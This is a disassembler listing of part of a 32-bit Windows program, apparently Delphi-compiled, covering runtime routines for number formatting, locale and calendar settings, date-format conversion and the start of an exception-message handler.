mov eax, 270Fh cmp [ebp+arg_8], 2 jb short loc_40476A mov eax, [ebp+arg_0] loc_40476A: ; CODE XREF: sub_4046FC+69j push eax lea eax, [ebp+var_2C] call sub_4049D4 mov edi, [ebp+var_4] movzx eax, [ebp+var_2C] sub eax, 7FFFh cmp eax, 2 jnb short loc_40479E mov ecx, eax call sub_4047FB lea esi, (loc_4047EB+1)[ecx+ecx*2] add esi, [ebp+var_14] mov ecx, 3 rep movsb jmp short loc_4047CB ; --------------------------------------------------------------------------- loc_40479E: ; CODE XREF: sub_4046FC+86j lea esi, [ebp+var_29] movzx ebx, [ebp+arg_8] cmp bl, 1 jz short loc_4047BA cmp bl, 4 ja short loc_4047B8 movsx eax, [ebp+var_2C] cmp eax, [ebp+arg_4] jle short loc_4047BA loc_4047B8: ; CODE XREF: sub_4046FC+B1j mov bl, 0 loc_4047BA: ; CODE XREF: sub_4046FC+ACj ; sub_4046FC+BAj lea ebx, ds:4047D8h[ebx*4] add ebx, [ebp+var_14] mov ebx, [ebx] add ebx, [ebp+var_14] call ebx loc_4047CB: ; CODE XREF: sub_4046FC+A0j mov eax, edi sub eax, [ebp+var_4] pop ebx pop esi pop edi jmp loc_4049CB sub_4046FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- add eax, 63004048h dec eax inc eax add [edx-65FFBFB8h], bl dec eax inc eax add [ecx+ecx*2], al inc eax loc_4047EB: ; DATA XREF: sub_4046FC+8Fr add [ecx+4Eh], cl inc esi dec esi inc ecx dec esi ; =============== S U B R O U T I N E ======================================= sub_4047F2 proc near ; CODE XREF: CODE:00404868p ; CODE:loc_404876p ... lodsb or al, al jnz short locret_4047FA mov al, 30h dec esi locret_4047FA: ; CODE XREF: sub_4047F2+3j retn sub_4047F2 endp ; =============== S U B R O U T I N E ======================================= sub_4047FB proc near ; CODE XREF: sub_4046FC+8Ap ; CODE:00404805p ... cmp byte ptr [ebp-2Ah], 0 jz short locret_404804 mov al, 2Dh stosb locret_404804: ; CODE XREF: sub_4047FB+4j retn sub_4047FB endp ; --------------------------------------------------------------------------- call sub_4047FB movsx ecx, word ptr [ebp-2Ch] xor edx, edx cmp ecx, [ebp+0Ch] jg short loc_404832 cmp ecx, 0FFFFFFFDh jl short loc_404832 or ecx, ecx jg short loc_404838 mov al, 30h stosb cmp byte ptr [esi], 0 jz short locret_404862 mov al, [ebp-5] stosb neg ecx mov al, 30h rep stosb jmp short loc_40484C ; --------------------------------------------------------------------------- loc_404832: ; CODE XREF: CODE:00404813j ; CODE:00404818j mov ecx, 1 inc edx loc_404838: ; CODE XREF: CODE:0040481Cj ; CODE:0040483Ej lodsb or al, al jz short loc_404854 stosb loop loc_404838 lodsb or al, al jz short loc_404858 mov ah, al mov al, [ebp-5] stosw loc_40484C: ; CODE XREF: CODE:00404830j ; CODE:00404852j lodsb or al, al jz short loc_404858 stosb jmp short loc_40484C ; --------------------------------------------------------------------------- loc_404854: ; CODE XREF: CODE:0040483Bj mov al, 30h rep stosb loc_404858: ; CODE XREF: CODE:00404843j ; CODE:0040484Fj or edx, edx jz short locret_404862 xor eax, eax xor ecx, ecx jmp short loc_40488A ; --------------------------------------------------------------------------- locret_404862: ; CODE XREF: CODE:00404824j ; CODE:0040485Aj retn ; --------------------------------------------------------------------------- call sub_4047FB call sub_4047F2 mov ah, [ebp-5] stosw mov ecx, [ebp+0Ch] dec ecx loc_404876: ; CODE XREF: CODE:0040487Cj call sub_4047F2 stosb loop loc_404876 mov ah, 2Bh mov ecx, [ebp+8] cmp ecx, 4 jb short loc_40488A xor ecx, ecx loc_40488A: ; CODE XREF: CODE:00404860j ; CODE:00404886j mov al, 45h mov bl, [ebp-29h] movsx edx, word ptr [ebp-2Ch] dec edx call sub_4046B8 retn ; --------------------------------------------------------------------------- call sub_4047FB ; =============== S U B R O U T I N E ======================================= sub_40489F proc near ; CODE XREF: CODE:loc_40494Dp mov edx, [ebp+8] cmp edx, 12h jb short loc_4048AC mov edx, 12h loc_4048AC: ; CODE XREF: sub_40489F+6j movsx ecx, word ptr [ebp-2Ch] or ecx, ecx jg short loc_4048B9 mov al, 30h stosb jmp short loc_4048E3 ; --------------------------------------------------------------------------- loc_4048B9: ; CODE XREF: sub_40489F+13j xor ebx, ebx cmp byte ptr [ebp+10h], 2 jz short loc_4048CB mov eax, ecx dec eax mov bl, 3 div bl mov bl, ah inc ebx loc_4048CB: ; CODE XREF: sub_40489F+20j ; sub_40489F+36j ... call sub_4047F2 stosb dec ecx jz short loc_4048E3 dec ebx jnz short loc_4048CB mov al, [ebp-6] test al, al jz short loc_4048CB stosb mov bl, 3 jmp short loc_4048CB ; --------------------------------------------------------------------------- loc_4048E3: ; CODE XREF: sub_40489F+18j ; sub_40489F+33j or edx, edx jz short locret_404903 mov al, [ebp-5] test al, al jz short loc_4048EF stosb loc_4048EF: ; CODE XREF: sub_40489F+4Dj jecxz short loc_4048FA mov al, 30h loc_4048F3: ; CODE XREF: sub_40489F+59j stosb dec edx jz short locret_404903 inc ecx jnz short loc_4048F3 loc_4048FA: ; CODE XREF: sub_40489F:loc_4048EFj ; sub_40489F+62j call sub_4047F2 stosb dec edx jnz short loc_4048FA locret_404903: ; CODE XREF: sub_40489F+46j ; sub_40489F+56j retn sub_40489F endp ; --------------------------------------------------------------------------- xor ebx, ebx mov bl, [ebp-0Dh] mov ecx, 3 cmp byte ptr [ebp-2Ah], 0 jz short loc_40491C mov bl, [ebp-0Eh] mov ecx, 40Fh loc_40491C: ; CODE XREF: CODE:00404912j cmp bl, cl jbe short loc_404922 mov bl, cl loc_404922: ; CODE XREF: CODE:0040491Ej add bl, ch lea ebx, dword_404967[ebx+ebx*4] add ebx, [ebp-14h] mov ecx, 5 loc_404933: ; CODE XREF: CODE:00404955j mov al, [ebx] cmp al, 40h jz short locret_404957 push ecx push ebx cmp al, 24h jz short loc_404946 cmp al, 2Ah jz short loc_40494D stosb jmp short loc_404952 ; --------------------------------------------------------------------------- loc_404946: ; CODE XREF: CODE:0040493Dj call sub_404958 jmp short loc_404952 ; --------------------------------------------------------------------------- loc_40494D: ; CODE XREF: CODE:00404941j call sub_40489F loc_404952: ; CODE XREF: CODE:00404944j ; CODE:0040494Bj pop ebx pop ecx inc ebx loop loc_404933 locret_404957: ; CODE XREF: CODE:00404937j retn ; =============== S U B R O U T I N E ======================================= sub_404958 proc near ; CODE XREF: CODE:loc_404946p push esi mov esi, [ebp-0Ch] test esi, esi jz short loc_404965 mov ecx, [esi-4] rep movsb loc_404965: ; CODE XREF: sub_404958+6j pop esi retn sub_404958 endp ; --------------------------------------------------------------------------- dword_404967 dd 40402A24h ; DATA XREF: CODE:00404924r ; --------------------------------------------------------------------------- inc eax sub ah, [eax+eax*2] inc eax inc eax and al, 20h sub al, [eax+40h] sub ah, [eax] and al, 40h inc eax sub [edx+ebp], ah sub [eax+2Dh], eax and al, 2Ah inc eax inc eax and al, 2Dh sub al, [eax+40h] and al, 2Ah sub eax, 2A284040h and al, 29h inc eax sub eax, 4040242Ah sub ch, ds:2A404024h and al, 2Dh inc eax inc eax sub eax, 4024202Ah sub eax, 402A2024h sub ah, [eax] and al, 2Dh inc eax and al, 20h sub ch, ds:2D202440h sub al, [eax+2Ah] sub eax, 28402420h and al, 20h sub ch, [ecx] sub [edx], ch and [ecx+ebp], ah ; START OF FUNCTION CHUNK FOR sub_4046FC loc_4049CB: ; CODE XREF: sub_4046FC+D7j mov esp, ebp pop ebp retn 0Ch ; END OF FUNCTION CHUNK FOR sub_4046FC ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4049D4 proc near ; CODE XREF: sub_4046FC+72p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00404BF7 SIZE 00000009 BYTES push ebp mov ebp, esp add esp, 0FFFFFFE0h push edi push esi push ebx mov ebx, eax mov esi, edx mov [ebp+var_4], 0 cmp cl, 0 jz short loc_4049F7 call sub_404B23 jmp loc_404BF7 ; --------------------------------------------------------------------------- loc_4049F7: ; CODE XREF: sub_4049D4+17j call sub_404A01 jmp loc_404BF7 sub_4049D4 endp ; =============== S U B R O U T I N E ======================================= sub_404A01 proc near ; CODE XREF: sub_4049D4:loc_4049F7p mov ax, [esi+8] mov edx, eax and eax, 7FFFh jz short loc_404A2C cmp eax, 7FFFh jnz short loc_404A37 test word ptr [esi+6], 8000h jz short loc_404A2E cmp dword ptr [esi], 0 jnz short loc_404A2B cmp dword ptr [esi+4], 80000000h jz short loc_404A2E loc_404A2B: ; CODE XREF: sub_404A01+1Fj inc eax loc_404A2C: ; CODE XREF: sub_404A01+Bj ; sub_404A01+AFj xor edx, edx loc_404A2E: ; CODE XREF: sub_404A01+1Aj ; sub_404A01+28j mov byte ptr [ebx+3], 0 jmp loc_404B04 ; --------------------------------------------------------------------------- loc_404A37: ; CODE XREF: sub_404A01+12j fld tbyte ptr [esi] sub eax, 3FFFh imul eax, 4D10h sar eax, 10h inc eax mov [ebp-8], eax mov eax, 12h sub eax, [ebp-8] fabs push ebx mov ebx, [ebp-4] call sub_401734 pop ebx frndint mov edi, [ebp-4] fld tbyte ptr [edi+4090D4h] fcomp st(1) fstsw word ptr [ebp-0Ah] wait test word ptr [ebp-0Ah], 4100h jz short loc_404A82 fidiv dword ptr [edi+4090E0h] inc dword ptr [ebp-8] loc_404A82: ; CODE XREF: sub_404A01+76j fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] mov edx, 9 wait loc_404A8E: ; CODE XREF: sub_404A01+A0j mov al, [edx+ebp-19h] mov ah, al shr al, 4 and ah, 0Fh add ax, 3030h stosw dec edx jnz short loc_404A8E xor al, al stosb mov edi, [ebp-8] add edi, [ebp+8] jns short loc_404AB5 xor eax, eax jmp loc_404A2C ; --------------------------------------------------------------------------- loc_404AB5: ; CODE XREF: sub_404A01+ABj cmp edi, [ebp+0Ch] jb short loc_404ABD mov edi, [ebp+0Ch] loc_404ABD: ; CODE XREF: sub_404A01+B7j cmp edi, 12h jnb short loc_404AE9 cmp byte ptr [ebx+edi+3], 35h jb short loc_404AEE loc_404AC9: ; CODE XREF: sub_404A01+D9j mov byte ptr [ebx+edi+3], 0 dec edi js short loc_404ADE inc byte ptr [ebx+edi+3] cmp byte ptr [ebx+edi+3], 39h ja short loc_404AC9 jmp short loc_404AFD ; --------------------------------------------------------------------------- loc_404ADE: ; CODE XREF: sub_404A01+CEj mov word ptr [ebx+3], 31h inc dword ptr [ebp-8] jmp short loc_404AFD ; --------------------------------------------------------------------------- loc_404AE9: ; CODE XREF: sub_404A01+BFj mov edi, 12h loc_404AEE: ; CODE XREF: sub_404A01+C6j ; sub_404A01+FAj mov byte ptr [ebx+edi+3], 0 dec edi js short loc_404B0F cmp byte ptr [ebx+edi+3], 30h jz short loc_404AEE loc_404AFD: ; CODE XREF: sub_404A01+DBj ; sub_404A01+E6j mov dx, [esi+8] loc_404B01: ; CODE XREF: sub_404A01+110j mov eax, [ebp-8] loc_404B04: ; CODE XREF: sub_404A01+31j shr dx, 0Fh mov [ebx], ax mov [ebx+2], dl retn ; --------------------------------------------------------------------------- loc_404B0F: ; CODE XREF: sub_404A01+F3j xor edx, edx jmp short loc_404B01 sub_404A01 endp ; --------------------------------------------------------------------------- db 0Ah dd 64000000h, 0E8000000h, 10000003h db 27h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_404B23 proc near ; CODE XREF: sub_4049D4+19p mov eax, [esi] mov edx, [esi+4] mov ecx, eax or ecx, edx jz loc_404BE9 or edx, edx jns short loc_404B3D neg edx neg eax sbb edx, 0 loc_404B3D: ; CODE XREF: sub_404B23+11j xor ecx, ecx mov edi, [ebp+8] or edi, edi jge short loc_404B48 xor edi, edi loc_404B48: ; CODE XREF: sub_404B23+21j cmp edi, 4 jl short loc_404B6C mov edi, 4 loc_404B52: ; CODE XREF: sub_404B23+3Bj inc ecx sub eax, 0A7640000h sbb edx, 0DE0B6B3h jnb short loc_404B52 dec ecx add eax, 0A7640000h adc edx, 0DE0B6B3h loc_404B6C: ; CODE XREF: sub_404B23+28j mov [ebp-20h], eax mov [ebp-1Ch], edx fild qword ptr [ebp-20h] mov edx, edi mov eax, 4 sub eax, edx jz short loc_404B8A mov edi, [ebp-4] fidiv dword ptr [edi+eax*4+404B0Fh] loc_404B8A: ; CODE XREF: sub_404B23+5Bj fbstp tbyte ptr [ebp-18h] lea edi, [ebx+3] wait or ecx, ecx jnz short loc_404BB0 mov ecx, 9 loc_404B9A: ; CODE XREF: sub_404B23+89j mov al, [ecx+ebp-19h] mov ah, al shr al, 4 jnz short loc_404BC3 mov al, ah and al, 0Fh jnz short loc_404BCA dec ecx jnz short loc_404B9A jmp short loc_404BE9 ; --------------------------------------------------------------------------- loc_404BB0: ; CODE XREF: sub_404B23+70j mov al, cl add al, 30h stosb mov ecx, 9 loc_404BBA: ; CODE XREF: sub_404B23+ABj mov al, [ecx+ebp-19h] mov ah, al shr al, 4 loc_404BC3: ; CODE XREF: sub_404B23+80j add al, 30h stosb mov al, ah and al, 0Fh loc_404BCA: ; CODE XREF: sub_404B23+86j add al, 30h stosb dec ecx jnz short loc_404BBA mov eax, edi lea ecx, [ebx+edx+3] sub eax, ecx loc_404BD8: ; CODE XREF: sub_404B23+BCj mov byte ptr [edi], 0 dec edi cmp byte ptr [edi], 30h jz short loc_404BD8 mov edx, [esi+4] shr edx, 1Fh jmp short loc_404BF0 ; --------------------------------------------------------------------------- loc_404BE9: ; CODE XREF: sub_404B23+9j ; sub_404B23+8Bj xor eax, eax xor edx, edx mov [ebx+3], al loc_404BF0: ; CODE XREF: sub_404B23+C4j mov [ebx], ax mov [ebx+2], dl retn sub_404B23 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4049D4 loc_404BF7: ; CODE XREF: sub_4049D4+1Ej ; sub_4049D4+28j pop ebx pop esi pop edi mov esp, ebp pop ebp retn 8 ; END OF FUNCTION CHUNK FOR sub_4049D4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C00 proc near ; CODE XREF: sub_404C74+1Cp ; sub_404E88+27p ... var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF00h push ebx push esi mov esi, ecx mov ebx, [ebp+arg_0] push 100h lea ecx, [ebp+var_100] push ecx push edx push eax call sub_4031B4 ; GetLocaleInfoA test eax, eax jle short loc_404C39 mov ecx, eax dec ecx lea edx, [ebp+var_100] mov eax, ebx call sub_4023D0 jmp short loc_404C42 ; --------------------------------------------------------------------------- loc_404C39: ; CODE XREF: sub_404C00+25j mov eax, ebx mov edx, esi call sub_402338 loc_404C42: ; CODE XREF: sub_404C00+37j pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_404C00 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_404C4C proc near ; CODE XREF: sub_405F88+ADp ; sub_405F88+C0p ... var_10 = byte ptr -10h push ebx push esi push edi push ecx mov ebx, ecx mov esi, edx mov edi, eax push 2 lea eax, [esp+14h+var_10] push eax push esi push edi call sub_4031B4 ; GetLocaleInfoA test eax, eax jle short loc_404C6D mov al, [esp+10h+var_10] jmp short loc_404C6F ; --------------------------------------------------------------------------- loc_404C6D: ; CODE XREF: sub_404C4C+1Aj mov eax, ebx loc_404C6F: ; CODE XREF: sub_404C4C+1Fj pop edx pop edi pop esi pop ebx retn sub_404C4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404C74 proc near ; CODE XREF: sub_404CB0+46p ; sub_404CB0+69p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi mov [ebp+var_4], ecx mov edi, edx mov esi, eax mov ebx, [ebp+arg_0] push ebx mov eax, [ebp+arg_8] mov eax, [eax-4] xor ecx, ecx mov edx, esi call sub_404C00 cmp dword ptr [ebx], 0 jnz short loc_404CA7 mov eax, [ebp+var_4] mov eax, [eax+edi*4] mov edx, ebx call sub_402F64 loc_404CA7: ; CODE XREF: sub_404C74+24j pop edi pop esi pop ebx pop ecx pop ebp retn 8 sub_404C74 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404CB0 proc near ; CODE XREF: sub_405F88+23p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi xor eax, eax push ebp push offset loc_404DC3 push dword ptr fs:[eax] mov fs:[eax], esp call sub_4031E4 ; GetThreadLocale mov [ebp+var_4], eax mov ebx, 1 mov esi, offset dword_40A508 mov edi, offset dword_40A538 loc_404CE3: ; CODE XREF: sub_404CB0+83j push ebp push 0Bh lea eax, [ebp+var_C] push eax mov ecx, offset off_4090E4 mov edx, ebx dec edx lea eax, [ebx+44h] dec eax call sub_404C74 pop ecx mov edx, [ebp+var_C] mov eax, esi call sub_402338 push ebp push 0Bh lea eax, [ebp+var_10] push eax mov ecx, offset off_409114 mov edx, ebx dec edx lea eax, [ebx+38h] dec eax call sub_404C74 pop ecx mov edx, [ebp+var_10] mov eax, edi call sub_402338 inc ebx add edi, 4 add esi, 4 cmp ebx, 0Dh jnz short loc_404CE3 mov ebx, 1 mov esi, offset dword_40A568 mov edi, offset dword_40A584 loc_404D44: ; CODE XREF: sub_404CB0+F6j lea eax, [ebx+5] mov ecx, 7 cdq idiv ecx mov [ebp+var_8], edx push ebp push 6 lea eax, [ebp+var_14] push eax mov ecx, offset off_409144 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 31h call sub_404C74 pop ecx mov edx, [ebp+var_14] mov eax, esi call sub_402338 push ebp push 6 lea eax, [ebp+var_18] push eax mov ecx, offset off_409160 mov edx, ebx dec edx mov eax, [ebp+var_8] add eax, 2Ah call sub_404C74 pop ecx mov edx, [ebp+var_18] mov eax, edi call sub_402338 inc ebx add edi, 4 add esi, 4 cmp ebx, 8 jnz short loc_404D44 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_404DCA loc_404DB5: ; CODE XREF: sub_404CB0+118j lea eax, [ebp+var_18] mov edx, 4 call sub_402308 retn ; --------------------------------------------------------------------------- loc_404DC3: ; DATA XREF: sub_404CB0+11o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_404DB5 ; --------------------------------------------------------------------------- loc_404DCA: ; CODE XREF: sub_404CB0+112j ; DATA XREF: sub_404CB0+100o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404CB0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404DD4 proc near ; DATA XREF: sub_404E88+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi xor esi, esi mov ebx, 1 jmp short loc_404DE8 ; --------------------------------------------------------------------------- loc_404DE2: ; CODE XREF: sub_404DD4+1Cj cmp ebx, 7 jz short loc_404E06 inc ebx loc_404DE8: ; CODE XREF: sub_404DD4+Cj cmp ds:dword_40A5AC[ebx*4], 0 jnz short loc_404DE2 lea eax, ds:40A5ACh[ebx*4] mov edx, [ebp+arg_0] call sub_4024B8 mov esi, 1 loc_404E06: ; CODE XREF: sub_404DD4+11j mov eax, esi pop esi pop ebx pop ebp retn 4 sub_404DD4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E10 proc near ; DATA XREF: sub_404E88+77o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push ebx push esi xor eax, eax push ebp push offset loc_404E75 push dword ptr fs:[eax] mov fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_404E34 ; --------------------------------------------------------------------------- loc_404E2E: ; CODE XREF: sub_404E10+2Cj cmp ebx, 7 jz short loc_404E5F inc ebx loc_404E34: ; CODE XREF: sub_404E10+1Cj cmp ds:dword_40A5C8[ebx*4], 0FFFFFFFFh jnz short loc_404E2E lea eax, [ebp+var_4] mov edx, [ebp+arg_0] call sub_4024B8 mov eax, [ebp+var_4] xor edx, edx call sub_403F2C mov ds:dword_40A5C8[ebx*4], eax mov esi, 1 loc_404E5F: ; CODE XREF: sub_404E10+21j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_404E7C loc_404E6C: ; CODE XREF: sub_404E10+6Aj lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_404E75: ; DATA XREF: sub_404E10+Ao jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_404E6C ; --------------------------------------------------------------------------- loc_404E7C: ; CODE XREF: sub_404E10+64j ; DATA XREF: sub_404E10+57o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 sub_404E10 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404E88 proc near ; CODE XREF: sub_405F88+31p var_4 = dword ptr -4 push ebp mov ebp, esp push 0 push esi xor eax, eax push ebp push offset loc_404F1F push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_4] push eax call sub_4031E4 ; GetThreadLocale mov ecx, offset dword_404F34 mov edx, 100Bh call sub_404C00 mov eax, [ebp+var_4] mov edx, 1 call sub_403F2C mov esi, eax mov eax, esi add eax, 0FFFFFFFDh sub eax, 3 jnb short loc_404F09 push 4 push esi call sub_4031E4 ; GetThreadLocale push eax push offset sub_404DD4 call sub_40318C ; EnumCalendarInfoA mov edx, 7 mov eax, offset dword_40A5CC loc_404EEA: ; CODE XREF: sub_404E88+6Cj mov dword ptr [eax], 0FFFFFFFFh add eax, 4 dec edx jnz short loc_404EEA push 3 push esi call sub_4031E4 ; GetThreadLocale push eax push offset sub_404E10 call sub_40318C ; EnumCalendarInfoA loc_404F09: ; CODE XREF: sub_404E88+43j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_404F26 loc_404F16: ; CODE XREF: sub_404E88+9Cj lea eax, [ebp+var_4] call sub_4022E4 retn ; --------------------------------------------------------------------------- loc_404F1F: ; DATA XREF: sub_404E88+9o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_404F16 ; --------------------------------------------------------------------------- loc_404F26: ; CODE XREF: sub_404E88+96j ; DATA XREF: sub_404E88+89o pop esi pop ecx pop ebp retn sub_404E88 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 1 dword_404F34 dd 31h ; DATA XREF: sub_404E88+1Do ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F38 proc near ; CODE XREF: sub_405F88+11Cp ; sub_405F88+149p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_405102 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_4022E4 lea eax, [ebp+var_8] push eax call sub_4031E4 ; GetThreadLocale mov ecx, offset dword_405118 mov edx, 1009h call sub_404C00 mov eax, [ebp+var_8] mov edx, 1 call sub_403F2C add eax, 0FFFFFFFDh sub eax, 3 jb loc_4050D8 mov eax, ds:dword_40A5A4 sub eax, 4 jz short loc_404FAA add eax, 0FFFFFFF3h sub eax, 2 jb short loc_404FAA xor eax, eax jmp short loc_404FAC ; --------------------------------------------------------------------------- loc_404FAA: ; CODE XREF: sub_404F38+64j ; sub_404F38+6Cj mov al, 1 loc_404FAC: ; CODE XREF: sub_404F38+70j test al, al jz short loc_404FE5 jmp short loc_404FD5 ; --------------------------------------------------------------------------- loc_404FB2: ; CODE XREF: sub_404F38+A6j mov al, [esi+ebx-1] sub al, 47h jz short loc_404FD4 sub al, 20h jz short loc_404FD4 lea eax, [ebp+var_C] mov dl, [esi+ebx-1] call sub_4024A8 mov edx, [ebp+var_C] mov eax, edi call sub_402564 loc_404FD4: ; CODE XREF: sub_404F38+80j ; sub_404F38+84j inc ebx loc_404FD5: ; CODE XREF: sub_404F38+78j mov eax, esi call sub_40255C cmp ebx, eax jle short loc_404FB2 jmp loc_4050E7 ; --------------------------------------------------------------------------- loc_404FE5: ; CODE XREF: sub_404F38+76j mov eax, edi mov edx, esi call sub_402338 jmp loc_4050E7 ; --------------------------------------------------------------------------- loc_404FF3: ; CODE XREF: sub_404F38+1A9j mov al, [esi+ebx-1] and eax, 0FFh bt ds:dword_40909C, eax jnb short loc_405033 mov edx, ebx mov eax, esi call sub_405C84 mov [ebp+var_4], eax lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_4] mov edx, ebx mov eax, esi call sub_402734 mov edx, [ebp+var_10] mov eax, edi call sub_402564 add ebx, [ebp+var_4] jmp loc_4050D8 ; --------------------------------------------------------------------------- loc_405033: ; CODE XREF: sub_404F38+CBj mov edx, offset dword_40511C lea eax, [esi+ebx-1] mov ecx, 2 call sub_4040B4 test eax, eax jnz short loc_405059 mov eax, edi mov edx, offset dword_405128 call sub_402564 inc ebx jmp short loc_4050D7 ; --------------------------------------------------------------------------- loc_405059: ; CODE XREF: sub_404F38+110j mov edx, offset aYyyy ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_4040B4 test eax, eax jnz short loc_405081 mov eax, edi mov edx, offset aEeee ; "eeee" call sub_402564 add ebx, 3 jmp short loc_4050D7 ; --------------------------------------------------------------------------- loc_405081: ; CODE XREF: sub_404F38+136j mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_4040B4 test eax, eax jnz short loc_4050A7 mov eax, edi mov edx, offset dword_405150 call sub_402564 inc ebx jmp short loc_4050D7 ; --------------------------------------------------------------------------- loc_4050A7: ; CODE XREF: sub_404F38+15Ej mov al, [esi+ebx-1] sub al, 59h jz short loc_4050B3 sub al, 20h jnz short loc_4050C1 loc_4050B3: ; CODE XREF: sub_404F38+175j mov eax, edi mov edx, offset dword_40515C call sub_402564 jmp short loc_4050D7 ; --------------------------------------------------------------------------- loc_4050C1: ; CODE XREF: sub_404F38+179j lea eax, [ebp+var_14] mov dl, [esi+ebx-1] call sub_4024A8 mov edx, [ebp+var_14] mov eax, edi call sub_402564 loc_4050D7: ; CODE XREF: sub_404F38+11Fj ; sub_404F38+147j ... inc ebx loc_4050D8: ; CODE XREF: sub_404F38+56j ; sub_404F38+F6j mov eax, esi call sub_40255C cmp ebx, eax jle loc_404FF3 loc_4050E7: ; CODE XREF: sub_404F38+A8j ; sub_404F38+B6j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_405109 loc_4050F4: ; CODE XREF: sub_404F38+1CFj lea eax, [ebp+var_14] mov edx, 4 call sub_402308 retn ; --------------------------------------------------------------------------- loc_405102: ; DATA XREF: sub_404F38+14o jmp loc_401FBC ; --------------------------------------------------------------------------- jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_405109: ; CODE XREF: sub_404F38+1C9j ; DATA XREF: sub_404F38+1B7o pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_404F38 endp ; --------------------------------------------------------------------------- dd 0FFFFFFFFh, 1 dword_405118 dd 31h ; DATA XREF: sub_404F38+34o dword_40511C dd 6767h, 0FFFFFFFFh, 3 ; DATA XREF: sub_404F38:loc_405033o dword_405128 dd 676767h ; DATA XREF: sub_404F38+114o aYyyy db 'yyyy',0 ; DATA XREF: sub_404F38:loc_405059o align 4 dd 0FFFFFFFFh, 4 aEeee db 'eeee',0 ; DATA XREF: sub_404F38+13Ao align 4 aYy db 'yy',0 ; DATA XREF: sub_404F38:loc_405081o align 4 dd 0FFFFFFFFh, 2 dword_405150 dd 6565h, 0FFFFFFFFh, 1 ; DATA XREF: sub_404F38+162o dword_40515C dd 65h ; DATA XREF: sub_404F38+17Do ; =============== S U B R O U T I N E ======================================= sub_405160 proc near ; CODE XREF: CODE:004051CFp test eax, eax jz short locret_405169 sub eax, 1000h locret_405169: ; CODE XREF: sub_405160+2j retn sub_405160 endp ; --------------------------------------------------------------------------- align 4 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp-4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp-330h] push eax push ebx call sub_4031FC ; VirtualQuery cmp dword ptr [ebp-320h], 1000h jnz short loc_4051B6 push 105h lea eax, [ebp-212h] push eax mov eax, [ebp-32Ch] push eax call sub_4031BC ; GetModuleFileNameA test eax, eax jnz short loc_4051D9 loc_4051B6: ; CODE XREF: CODE:00405198j push 105h lea eax, [ebp-212h] push eax mov eax, ds:dword_40A4C8 push eax call sub_4031BC ; GetModuleFileNameA mov eax, ebx call sub_405160 mov [ebp-8], eax jmp short loc_4051E2 ; --------------------------------------------------------------------------- loc_4051D9: ; CODE XREF: CODE:004051B4j sub ebx, [ebp-32Ch] mov [ebp-8], ebx loc_4051E2: ; CODE XREF: CODE:004051D7j lea eax, [ebp-212h] mov dl, 5Ch call sub_405CC0 mov edx, eax inc edx lea eax, [ebp-10Dh] mov ecx, 104h call sub_404080 mov ebx, offset dword_4052EC mov edi, offset dword_4052EC mov eax, esi mov edx, off_403514 call sub_401B08 test al, al jz short loc_40523E mov eax, [esi+4] call sub_4026E0 mov ebx, eax mov eax, ebx call sub_404058 test eax, eax jz short loc_40523E cmp byte ptr [ebx+eax-1], 2Eh jz short loc_40523E mov edi, offset dword_4052F0 loc_40523E: ; CODE XREF: CODE:0040521Bj ; 